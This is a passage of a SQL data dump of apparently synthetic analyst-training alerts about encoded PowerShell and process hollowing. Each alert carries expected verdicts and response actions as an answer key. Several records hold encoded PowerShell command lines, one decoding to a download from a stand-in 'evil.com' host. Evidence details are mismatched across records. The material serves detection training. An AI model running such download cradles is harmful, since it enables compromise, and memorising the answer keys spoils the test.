4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T16:22:58Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.30\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"jsmith\\\",\\\"hostname\\\":\\\"INTERNAL-PC02\\\",\\\"command_line\\\":\\\"explorer.exe /loadlibrary\\\",\\\"file_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1732, 'Encoded PowerShell Command Execution', 'high', 'CrowdStrike', 'A PowerShell script with an encoded command was executed on an internal host, potentially communicating with an external IP.', 'Malware', 'T1059', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T18:11:47Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.60\",\"dst_ip\":\"203.0.113.40\",\"username\":\"mwhite\",\"hostname\":\"INTERNAL-WORKSTATION03\",\"command_line\":\"powershell -EncodedCommand c2VjcmV0IG1lc3NhZ2U=\"}', '2026-03-15 19:49:29', '2026-03-15 20:58:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.60\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address executing suspicious encoded PowerShell\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.40\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP flagged for hosting malicious scripts\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"powershell -EncodedCommand c2VjcmV0IG1lc3NhZ2U=\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"Encoded PowerShell command indicates malicious use\"}}],\"expected_actions\":[\"isolate_host\",\"block_ip\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The use of an encoded PowerShell command with external communication suggests a malware infection.\"}', 'Intermediate', 'EDR', 5, 1, 'ENERGY', NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(1733, 'PowerShell Execution with External IP Contact', 'high', 'SentinelOne', 'Encoded PowerShell executed on an internal host with communication to a known malicious external IP.', 'Malware', 'T1059', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T20:15:53Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.70\",\"dst_ip\":\"198.51.100.50\",\"username\":\"jdoe\",\"hostname\":\"LAPTOP-USER01\",\"command_line\":\"powershell -EncodedCommand Z2V0IGNvbnRlbnQgZnJvbSBodHRwOi8vZXZpbC5jb20=\"}', '2026-03-15 19:49:29', '2026-03-15 20:58:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.70\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP executing potentially malicious PowerShell\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"198.51.100.50\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported for malicious activities multiple times\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"powershell -EncodedCommand Z2V0IGNvbnRlbnQgZnJvbSBodHRwOi8vZXZpbC5jb20=\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Encoded PowerShell command mirrors known attack patterns\"}}],\"expected_actions\":[\"isolate_host\",\"block_ip\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The encoded command and contact with a malicious IP confirm a malware attempt.\"}', 'Intermediate', 'EDR', 5, 1, 'TECH', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:16.089Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T20:15:53Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.70\\\",\\\"dst_ip\\\":\\\"198.51.100.50\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"LAPTOP-USER01\\\",\\\"command_line\\\":\\\"powershell -EncodedCommand Z2V0IGNvbnRlbnQgZnJvbSBodHRwOi8vZXZpbC5jb20=\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:16.089Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T20:15:53Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.70\\\",\\\"dst_ip\\\":\\\"198.51.100.50\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"LAPTOP-USER01\\\",\\\"command_line\\\":\\\"powershell -EncodedCommand Z2V0IGNvbnRlbnQgZnJvbSBodHRwOi8vZXZpbC5jb20=\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:16.089Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T20:15:53Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.70\\\",\\\"dst_ip\\\":\\\"198.51.100.50\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"LAPTOP-USER01\\\",\\\"command_line\\\":\\\"powershell -EncodedCommand Z2V0IGNvbnRlbnQgZnJvbSBodHRwOi8vZXZpbC5jb20=\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:16.089Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T20:15:53Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.70\\\",\\\"dst_ip\\\":\\\"198.51.100.50\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"LAPTOP-USER01\\\",\\\"command_line\\\":\\\"powershell -EncodedCommand Z2V0IGNvbnRlbnQgZnJvbSBodHRwOi8vZXZpbC5jb20=\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:16.089Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T20:15:53Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.70\\\",\\\"dst_ip\\\":\\\"198.51.100.50\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"LAPTOP-USER01\\\",\\\"command_line\\\":\\\"powershell -EncodedCommand Z2V0IGNvbnRlbnQgZnJvbSBodHRwOi8vZXZpbC5jb20=\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1734, 'False Positive: Benign PowerShell Activity', 'low', 'Carbon Black', 'Detected PowerShell activity with encoded command execution. Further analysis reveals it to be a benign script.', 'Malware', 'T1059', 0, 'New', NULL, '{\"timestamp\":\"2026-03-15T22:40:30Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.80\",\"dst_ip\":\"192.168.1.100\",\"username\":\"awilliams\",\"hostname\":\"DESKTOP-USER02\",\"command_line\":\"powershell -EncodedCommand Y2FsYyA3Kjcp\"}', '2026-03-15 19:49:29', '2026-03-15 20:58:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.80\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address executing benign PowerShell\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"powershell -EncodedCommand Y2FsYyA3Kjcp\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Encoded command decoded to a benign script\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The PowerShell command, once decoded, is confirmed to be non-malicious.\"}', 'Intermediate', 'EDR', 5, 1, 'RETAIL', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:16.091Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T22:40:30Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.80\\\",\\\"dst_ip\\\":\\\"192.168.1.100\\\",\\\"username\\\":\\\"awilliams\\\",\\\"hostname\\\":\\\"DESKTOP-USER02\\\",\\\"command_line\\\":\\\"powershell -EncodedCommand Y2FsYyA3Kjcp\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:16.091Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T22:40:30Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.80\\\",\\\"dst_ip\\\":\\\"192.168.1.100\\\",\\\"username\\\":\\\"awilliams\\\",\\\"hostname\\\":\\\"DESKTOP-USER02\\\",\\\"command_line\\\":\\\"powershell -EncodedCommand Y2FsYyA3Kjcp\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:16.091Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T22:40:30Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.80\\\",\\\"dst_ip\\\":\\\"192.168.1.100\\\",\\\"username\\\":\\\"awilliams\\\",\\\"hostname\\\":\\\"DESKTOP-USER02\\\",\\\"command_line\\\":\\\"powershell -EncodedCommand Y2FsYyA3Kjcp\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:16.091Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T22:40:30Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.80\\\",\\\"dst_ip\\\":\\\"192.168.1.100\\\",\\\"username\\\":\\\"awilliams\\\",\\\"hostname\\\":\\\"DESKTOP-USER02\\\",\\\"command_line\\\":\\\"powershell -EncodedCommand Y2FsYyA3Kjcp\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:16.091Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T22:40:30Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.80\\\",\\\"dst_ip\\\":\\\"192.168.1.100\\\",\\\"username\\\":\\\"awilliams\\\",\\\"hostname\\\":\\\"DESKTOP-USER02\\\",\\\"command_line\\\":\\\"powershell -EncodedCommand Y2FsYyA3Kjcp\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1735, 'PowerShell Encoded Script Execution Detected', 'high', 'CrowdStrike', 'A PowerShell download cradle executed an encoded script on an internal machine, indicating a potential compromise.', 'Malware', 'T1059', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T12:45:30Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.0.0.15\",\"dst_ip\":\"\",\"username\":\"jdoe\",\"hostname\":\"workstation-15\",\"command_line\":\"powershell.exe -EncodedCommand UwBFAFgAIAAtAE4AbwBwAG8AbwAgACIAaAB0AHQAcAA6AC8ALwBlAHgBhABtAHAAbABlAC4AYwBvAG0AIgA=\"}', '2026-03-15 19:50:15', '2026-03-15 20:58:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"command\",\"value\":\"powershell.exe -EncodedCommand UwBFAFgAIAAtAE4AbwBwAG8AbwAgACIAaAB0AHQAcAA6AC8ALwBlAHgBhABtAHAAbABlAC4AYwBvAG0AIgA=\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Encoded PowerShell script linked to known malware activity\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address indicating a compromised host\"}}],\"expected_actions\":[\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The execution of an encoded PowerShell script suggests an attempt to bypass security controls.\"}', 'Intermediate', 'EDR', 5, 1, 'TECH', NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(1736, 'Process Hollowing in Explorer.exe Detected', 'critical', 'SentinelOne', 'Process hollowing detected in explorer.exe, indicating potential malware activity.', 'Malware', 'T1055', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T14:20:10Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.0.0.25\",\"dst_ip\":\"\",\"username\":\"asmith\",\"hostname\":\"workstation-25\",\"command_line\":\"explorer.exe\",\"file_hash\":\"54a3d6e135b3f4b2b8e5d3458e2a2a1d\"}', '2026-03-15 19:50:15', '2026-03-15 20:58:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"command\",\"value\":\"explorer.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Process hollowing is a known technique for stealthy malware\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"54a3d6e135b3f4b2b8e5d3458e2a2a1d\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with known malware variants\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"10.0.0.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address of compromised workstation\"}}],\"expected_actions\":[\"isolate_host\",\"block_hash\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"Process hollowing is a covert technique used by malware to inject malicious code into a legitimate process.\"}', 'Intermediate', 'EDR', 5, 1, 'FINANCE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:16.103Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T14:20:10Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.0.25\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"asmith\\\",\\\"hostname\\\":\\\"workstation-25\\\",\\\"command_line\\\":\\\"explorer.exe\\\",\\\"file_hash\\\":\\\"54a3d6e135b3f4b2b8e5d3458e2a2a1d\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:16.103Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T14:20:10Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.0.25\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"asmith\\\",\\\"hostname\\\":\\\"workstation-25\\\",\\\"command_line\\\":\\\"explorer.exe\\\",\\\"file_hash\\\":\\\"54a3d6e135b3f4b2b8e5d3458e2a2a1d\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:16.103Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T14:20:10Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.0.25\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"asmith\\\",\\\"hostname\\\":\\\"workstation-25\\\",\\\"command_line\\\":\\\"explorer.exe\\\",\\\"file_hash\\\":\\\"54a3d6e135b3f4b2b8e5d3458e2a2a1d\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:16.103Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T14:20:10Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.0.25\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"asmith\\\",\\\"hostname\\\":\\\"workstation-25\\\",\\\"command_line\\\":\\\"explorer.exe\\\",\\\"file_hash\\\":\\\"54a3d6e135b3f4b2b8e5d3458e2a2a1d\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:16.103Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T14:20:10Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.0.25\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"asmith\\\",\\\"hostname\\\":\\\"workstation-25\\\",\\\"command_line\\\":\\\"explorer.exe\\\",\\\"file_hash\\\":\\\"54a3d6e135b3f4b2b8e5d3458e2a2a1d\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0);
